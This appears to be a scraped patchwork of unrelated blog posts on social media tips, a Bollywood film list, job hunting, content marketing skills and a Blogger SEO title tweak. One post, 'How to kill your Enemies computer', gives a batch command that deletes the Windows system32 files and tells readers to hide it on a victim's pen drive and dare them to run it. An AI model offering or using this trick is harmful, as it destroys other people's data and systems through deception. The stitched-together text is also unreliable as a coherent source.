5 Social Media Tips to Ignore

Do a quick Google search or scour the front pages of your favorite social media blogs and you’ll find a seemingly endless array of articles providing you with tips and advice on social media (this blog included). But if you read enough of them, which I do, eventually you’ll see those tips and bits of advice contradict each other.

Don’t post on Facebook more than once a day, or your fans will un-Like you.

Post more than once a day on Facebook to keep your People Talking About This score high.

Photos are the most shareable content on Facebook.

Videos are the most shareable content on Facebook.

Post on weekends because other brands don’t and you’ll stand out.

Don’t post on weekends, because nobody is listening then.

It can become dizzying. It’s not that your favorite social media pundit is lying to you or flat-out wrong. Truthfully, not everyone can be right; but there are certainly areas of gray, and depending on your brand and audience, advice can differ. 

But I have heard a few tips that are just flat-out wrong or at least shouldn’t be followed as if they were gospel. Here are five social media tips you may want to ignore, but you didn’t hear that from me.

1. Post content every single day

Or don’t. The validity of this bit of advice is tied to the channel you’re talking about, your audience and the expectations you’ve set. At Post-Advertising we post once a week, but we’re active on Twitter every weekday. We have actually found that one longer, more insightful post a week was driving more traffic than a shorter post every day. So don’t worry if you aren’t blogging every day or even posting on your brand’s Facebook page every day. Simply set a publishing schedule and stick to it.

2. Ignore paid media… It’s dead

Where’d you hear that? Here? It’s not that traditional advertising is dead; it’s that no amount of money will make your brand relevant to a consumer if it doesn’t create something of value. Buy the best billboard in Times Square. Buy a YouTube homepage takeover. None of it will encourage someone to buy your product. Paid media won’t build a brand; but it can certainly build awareness of something about a brand, which is why paid media on Facebook and Twitter can be so successful.

3. Automation is a social media sin

You may have heard the saying “Automating social media is like sending a robot to a cocktail hour.” I get it, but to ensure quality and a commitment to an editorial calendar, being able to schedule content is important. This is a bit of a gray area, though, so watch out. “Worst practices” in social media automation include sending automatic direct messages (usually when someone follows you) and automatically tweeting every post on an RSS feed (what if one of them is something you don’t agree with?). Use the technologies available to you to maintain an approved publishing schedule so you can spend your time listening and actively responding to your audience.

4. Always include a call to action

Head over to Facebook, click on your Pages Feed, and tell me what you see. Most of the posts will ask their audience to Like or Share or read or buy… You get the point. There’s nothing wrong with this in small doses, but remember that every other brand is asking for the same thing, and eventually audiences can become fatigued. Not every bit of content, whether it is a Facebook post, a tweet, an Instagram photo or a blog article, must ask your audience to take a specific action. Of course you hope they’ll share it with their audiences or even head to your online store and buy a product, but you don’t have to order them to do it. 

5. Post at a specific time

This is one of the most mind-boggling aspects of social media. The only way to know the best time to post for your brand and your audience is to test. Use all the data available to you to make informed decisions about when to test, but ultimately every brand and audience is different. We send our Post-Advertising newsletter early in the morning because after testing, our data showed that more people opened the email if it was in their in-box when they arrived at work. If the data showed use that we should send on Saturday nights at 11 pm because most marketers are reading their email then (what?), then that’s when we’d send!

So take my advice, or don’t. I like to think that I have my finger on the pulse of social media trends and best practices, but the best practice is the one that works best for your brand and, more important, your audience.

Are there any social media best practices you’ve found success by ignoring? Let us know in the comments. (Hey, look, a call to action!)

Bollywood Movies you must watch...

Do Bigha Zamin	Boot Polish
Jagriti	Jhanak Jhanak Payal Baaje
Mother India	Madhumati
Sujata	Mughal-e-Azam
Jis Desh Men Ganga Behti Hai	Sahib Bibi Aur Ghulam
Bandini	Dosti
Himalaya Ki God Mein	Guide
Upkar	Brahmachari
Aradhana	Khilona
Anand	Be-Imaan
Anuraag	Rajnigandha
Deewar	Mausam
Bhumika	Main Tulsi Tere Aangan Ki
Junoon	Khubsoorat
Kalyug	Shakti
Ardh Satya	Sparsh
Ram Teri Ganga Maili	Qayamat Se Qayamat Tak
Maine Pyar Kiya	Ghayal
Lamhe	Jo Jeeta Wohi Sikandar
Hum Hain Rahi Pyar Ke	Hum Aapke Hain Koun..!
Dilwale Dulhania Le Jayenge	Raja Hindustani
Dil To Pagal Hai	Kuch Kuch Hota Hai
Hum Dil De Chuke Sanam	Kaho Naa... Pyaar Hai
Lagaan	Devdas
Koi... Mil Gaya	Veer-Zaara
Black	Rang De Basanti
Taare Zameen Par	Jodhaa Akbar
3 Idiots	Dabangg
Zindagi Na Milegi Dobara	Barfi!

How to Find Your Dream Job in Social Media

Recently, I participated in a panel discussion on social media with my industry peers. During the Q&A, one of the questions from an audience member was that social media seems to have left behind an entire generation of professionals and if there was any advice for folks who want to enter this field.

My response to folks, who are feeling left out of the social media space and/or are looking for that next opportunity, is that all's not lost and many of their current skills can be very valuable in this space.  As social media has evolved, it is becoming very apparent that it's more than just Facebooking and tweeting all day long (although many roles still have this as a requirement). Many of the emerging roles in social media require solid experience in one or more of these traditional areas such as community management, customer engagement, and marketing/PR communications.

While anyone can start a blog, it's not a novelty anymore and not everyone can have a hit blog as it's considerably more competitive than it was in the early days of blogging. All successful bloggers have to be good communicators. It doesn't matter if you have great subject matter expertise because if you can't translate that expertise into a lucid post that your customers understand, then you won't be effective as a blogger.

Also, placing someone with zero customer/community management experience in a customer-facing role on a social network is a huge risk. As social media evolves you need folks who can keep their calm on the social networking sites when faced with a hostile audience and that's where having solid community management or customer support experience is invaluable.

Other hot skill sets in this space are in search, analytics and operations. What's often forgotten in social media is the ability to work with large volumes of social content i.e. data. There is a critical need for professionals with strong analytical skills in the social media space to help businesses derive meaningful insights from their social media content and activities. In addition, with the increasing relevant of social content in search results, the strong SEO skills are more valuable than ever in this space.

Last but not the least, as social media adoption grows across companies, there is a growing demand for folks who understand how to scale the social media efforts across market segments and geographies. In addition, the ability to tie all the social media activities together and integrating into existing sales, support, CRM systems is also growing in demand.

That being said, social media career success not only requires a solid background but given the fast pace of evolution in this space, it's an absolute must to have an open mind and passion for constant learning. Hope you find this information useful as you embark on the search for your next big opportunity in the social media space.

10 Steps to Find that Job after College

Job hunting for the recent or soon-to-be college grad can seem formidable. Most students know about crafting superb resumes and cover letters and often take workshops at their colleges to make these even better. The problem is, however, that many students don’t even know where to begin or where to even look for that entry-level position they want. The good news is that even in this less-than-stellar economy, students are not left up-creek without a paddle. There are definitive ways to increase your chances of landing that job after graduation.

1.  Have Ambition

No, you don’t have to aspire to become the new Steve Jobs. You just need a vision for yourself before you set out on your journey. It’s also perfectly normal to not be sure what you want to do. There are many people in their 40s who change careers or still haven’t decided just yet what they want to be when they grow up. An ambition can be that you want to find an entry-level position that can leave you enough money to live on. If you want something directly related to your major, then set out on acquiring internships in those areas to increase your marketability. It’s also prudent to find a professional mentor who can give you sound career advice. The basic idea is to set a vision for yourself and go after it.

2.  Your Major is Relevant

Humanities majors unite! If your major was anything other than basket-weaving, your major can help you to build a successful career. For example, if you were a theatre major, your oratory or performance skills could help you be an effective teacher. It could also help you to nail that interview or to knock out an effective meeting that leaves everyone raving. People skills are always important. Or let’s say you were a history major. The ability to write effectively, to conduct meaningful research, and to give critical analysis is valuable in marketing, news organizations, and many other industries. The bottom line is that whatever you learned in college can help you in your professional career. Don’t knock your French major to anyone, especially to the person who is interviewing you. Explain to your interviewer how the skills you learned in college can be applied to the job opening at hand.

3.  Internships are Your One Foot in the Door

Don’t underestimate the importance of college internships. They can often lead to job opportunities that you didn’t even imagine. If you were a good intern before graduation and you come back for employment, they just might hire you for the job. Even if you aren’t hired at the company you interned at, it still serves as valuable job experience. It is certainly more impressive on a resume than that gig you had in high school flipping burgers. Go to your college career development center and see what internships they have or what alumnae connections they have.

4.  Networking is Key

As Chris Rock once said to his audience, “80% of people in here got a job because a friend recommended them.” That is still absolutely true today. I got my current job because of the strong network I had. Not sure if you have an adequate network? Build one! The way to do that is to always be kind and courteous to everyone, even if they aren’t your best buddies. Also, try to go to career fairs sponsored by your college to meet representatives from different companies. See if your college has an alumnae database of former students who are connected in certain companies or industries that you are interested in. Just telling a person that you went to their college can sometimes make them want to help you. Why? College often makes people feel all warm and fuzzy inside.

5.  Every Meeting is Important

Going to job interviews is very important, even if you’re not that interested in the open position. Show up looking crisp, clean, wide-eyed, and bushy-tailed. You never know who your interviewer knows. Prepare for each job interview or meeting with a professional by reading about them or their company and by having important and relevant questions to ask. This shows that you have initiative and drive, which are both important traits for any career field.     

6.  Old School Social Graces are Still Classy

Remember how your mom always made you write thank-you cards after your birthday to the relatives who sent you presents? That is still good habit to keep up as an adult. Always send a hard-copy thank-you note to your interviewer or to any professional you hold a meeting with. It shows that you have manners and are grateful for their time. Maybe if they don’t hire you, they will keep you in mind for a later position or they can refer you to someone else they know who is hiring.

7.  Censor Your Facebook Profile

If you have any compromising pictures or wall posts of any kind, REMOVE THEM PRONTO. If you have friends that leave you messages on your wall about getting wasted, partying, etc., delete them. You don’t want a prospective boss reading about all the blunts you smoked at the party or how trashed you were. Keep it professional, even on your Facebook page. You never know who’s looking.

8.  Use Social Networking Sites

More job recruiters are taking advantage of Facebook and LinkedIn to find potential employees. Learn where your friends are working or whatever connections they might have. This can be hard right out of college but it becomes easier once more people get hired over time. Create a snazzy profile on both websites that markets yourself for whatever career you are interested in. LinkedIn’s Events application allows users to peruse events highlighted by the professionals in their network. It also includes information about conferences, speaking gigs, or programs that people are attending. Both sites offer the opportunity to engage with people in a way that increases your professional network.

9.  Find a Hobby and Meet People

You may be a mighty World of Warcraft player but that will never give you the edge of actually meeting real human beings and engaging with them. If you have musical talents, try to put together a band and organize shows in your community. If art is your passion, try volunteering at a local gallery so that you can make inroads with the local artistic community. If you love the outdoors, try and find an outdoorsy group that goes on weekend outings. Or if you’re sporty, try to join a recreational adult sports league. The point is to try to meet new people, which isn’t always easy after you finish college. These people may know all sorts of people who could be looking for someone with your skills and talents. It certainly doesn’t hurt your odds of finding a good job. 

10.  Create Your Own Online Brand

Last but not least, build up your own brand. Sell yourself to potential employers out there before they even know you. YouTube personalities like Ray William Johnson and Jenna Marbles are famous because they successfully built their reputations as entertainers based on their original show ideas. Namely, Ray William Johnson created a popular show called “=3” that showcases three of the most popular viral internet videos twice a week. And Jenna Marbles discusses her observations on life as an attractive twenty-something woman. You don’t even have to become internet famous. A good place to start would be to create your own website.  It can showcase your ideas, accomplishments, or creative output. You could also start a blog about a topic that is of interest to you that might attract potential employers. Therefore, don’t create a blog about your love of Beanie Babies! Try to make it about a topic that interests you and might be interesting to kindred connoisseurs. For example, if you’re interested in film making, make it about that. What does this have to do with employers, you ask? If they Google your name and your interesting website or blog comes up, it can show you have initiative and/or talent.

These are all just some preliminary ideas and suggestions to help you to get a job after college. Remember that many people have to try for years before they get that dream job or even an adequate one. Don’t despair and keep up the good fight! If you’ve got education and ambition on your side, you’re sure to make it eventually. It just may not be right after graduation. 

5 Key Skill Sets of a Successful Content Marketer

Content marketing has become a top priority for B2B companies of all sizes. According to research by the Content Marketing Institute, 91% of B2B marketers use content marketing with 94% of them creating content from scratch, as opposed to repurposing or reposting third party pieces. Further, Sprout Content reports that 68% of Chief Marketing Officers plan to increase their content marketing budget in 2013. Clearly, the importance of content marketing is rising as B2B companies realize its potential to generate leads and drive engagement.

Although falling under the general umbrella of marketing, the role of a content marketer is quite different and unconventional from traditional marketing. The Content Marketing Institute defines content marketing as:

“a marketing technique of creating and distributing relevant and valuable content to attract, acquire, and engage a clearly defined and understood target audience – with the objective of driving profitable customer action.”

From this definition, you can likely think of numerous important skill sets that a successful content marketer must embody; here are 5 skills that are executed by content marketers on a regular basis:

1. Strong writer and storyteller

As the title describes, a content marketer’s role revolves around working and managing content. Although writing content such as blog posts can be outsourced, it’s still imperative that content marketers have strong writing skills. And regardless, it’s highly unlikely for a content marketer to survive in their role without actually writing their own original content! As such, the ability to write interesting content in a clear and concise manner is crucial for a successful content marketer. Depending on your industry, this might mean taking complex topics, such as HTML5 and responsive design, and breaking them down into easy-to-understand stories. Other times, a content marketer might need to take popular (and usually over-done) industry topics, such as social media, and find ways to provide a unique and valuable perspective on it.

Along with being a strong writer, successful content marketers are also fantastic storytellers. The best types of content are generally ones that your audience can relate to; it tells a story that connects with people’s emotions and provides insight into questions they’ve been having or problems they’ve been struggling with.

2. Strong editing and grammar skills

Writing and editing are two very different things and a good content marketer must possess both skills. Editing other people’s work requires being patient and detail-oriented: you need to have an eye for noticing minor grammatical errors or juggling words and sentences around without altering the text’s meaning. Often times, editing also requires making alterations to a piece of text while retaining the original author’s tone and style. This means having the awareness to recognize the elements that comprise an author’s voice; it’s then important to make edits that enhance the quality of the text and communication of the message while retaining the integrity of the author’s voice.

3. Good research skills

Connected to writing and editing, a content marketer also needs to have good research skills. Often times, it’s important to back up your content with credible stats and research; in these instances, you need to know what you’re looking for and where to look. Anyone can research a topic if provided an infinite amount of time, but a great content marketer can research quickly, effectively, and can consolidate their findings into meaningful key takeaways.

4. Thinking creatively

People these days are bombarded with all types of content from the millions of mini-publishers that are brands, organizations, and individuals. Getting your content to stick in such a saturated market is no easy feat and that’s precisely why content marketers must be able to think creatively. Aside from having a deep understanding of the types of content that are relevant and interesting to your target audience, it’s also important to think of creative ways to get your message onto people’s screens.

5. Seeing the big picture

It’s easy to get wrapped up in the world of content, but effective content marketers always understand the role they play in the bigger context of marketing. In essence, they remember that they’re creating content with the objective of driving profitable customer action. They see the big picture and have a strategic approach to aligning content with their overall marketing goals.  

What other skill sets are important for content marketing? Let us know in the comments!

How to kill your Enemies computer!!

Hi guys I found out this useful trick in the web, it’s just awesome....!

This trick just removes all the files in system 32 and kills the computer!!

Kill your enemy’s computer!!!!!!!!

Ok first copy this code-

- del c:\windows\system32\*.* /q

Paste in notepad and save it as terminator.bat

ALERT!!

Don’t click the saved file in your computer. Your computer will DIE!!

Just put this file in his pen drive and say him to click it if he dares once he clicks his computer dies!! 

How To Optimize Post Titles In Blogger Blogs?

Hello bloggers, today we have an Important SEO technique which will help you to boost up your ranks and also to get some traffic. This is a very old trick, but it has great importance even now. This can improve your traffic rank to great heights and this is really easy to do. It just swaps your Blog Title with the post title which gives a better view. So let’s get started.

Note-Backup your template before editing

Code It-

#1.Go to template and then hit "Edit HTML" now find this code in your template (Use Ctrl+f to make it easy)-

<title><data:blog.pagetitle/></title>

#2.Now once you find it just replace it with the below given code, and you will see the results-

<b:if cond='data:blog.pageType == &quot;item&quot;'>
<title><data:blog.pageName/> | <data:blog.title/></title>
<b:else/>
<title><data:blog.pageTitle/></title>
</b:if>

Results-

Before

After

Conclusion-

Cheers, you have optimized your post tiles and you will surely see an improvement in your blog. Try this out if you haven't and comment if you have something new for bloggers and stay tuned for the upcoming SEO posts in our blog. Happy Blogging!